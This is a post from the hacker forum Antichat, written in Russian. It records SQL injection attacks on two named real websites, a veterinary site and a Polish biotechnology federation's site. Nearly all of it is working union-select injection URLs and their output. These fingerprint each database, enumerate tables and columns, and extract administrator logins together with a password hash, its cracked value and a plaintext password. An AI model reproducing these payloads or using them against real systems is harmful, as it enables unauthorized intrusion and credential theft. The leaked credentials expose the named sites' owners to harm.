ANTICHAT - Показать сообщение отдельно

Ветеринарная помощь

Код:

http://vet4pet.ru/stat/fulltext.php?id=-7+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7,8--

user(): zorkov@localhost
version(): 5.0.27
database(): zorkov
тИЦ: 10
PR: 2
версия 5+, присутсвует - information_schema

находим таблицу с юзерами

Код:

http://vet4pet.ru/stat/fulltext.php?id=-7+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables+limit+48,1

marroz_users

получаем колонки

Код:

http://vet4pet.ru/stat/fulltext.php?id=-7+union+select+1,column_name,3,4,5,6,7,8+from+information_schema.columns+where+table_name=0x6d6172726f7a5f7573657273+limit+1,3

осталось только извлечь логин и пароль =)

Код:

http://vet4pet.ru/stat/fulltext.php?id=-7+union+select+1,concat(login,0x3a,password),3,4,5,6,7,8+from+users+limit+1,1--

ussr:54621b46c1664db5ba7127d8f22aff00 (456654)

Polska Federacja Biotechnologii

Код:

http://www.pfb.p.lodz.pl/main/main.php?id=-7+union+select+1,2,3,4,5,6,7,8,concat(user(),0x3a,version(),0x3a,database()),10,11,12,13,14,15,16,17,18--

user(): up_pfb@webpl.p.lodz.pl
version(): 5.0.45-Debian_1ubuntu3.3-log
database(): p_pfb
тИЦ: 10
PR: 4

присутствует таблица pbfuser
колонки login,haslo,osoba,tresc,datadodania,r01,r02

Код:

http://www.pfb.p.lodz.pl/main/main.php?id=-7+union+select+1,2,3,4,5,6,7,8,concat(login,0x3a,haslo,0x3a,osoba,0x3a,tresc,0x3a,datadodania),10,11,12,13,14,15,16,17,18+from+pbfuser+limit+1,1/*

pfb:krakow:Polska Federacja Biotechnologii::2004-09-13 11:08:11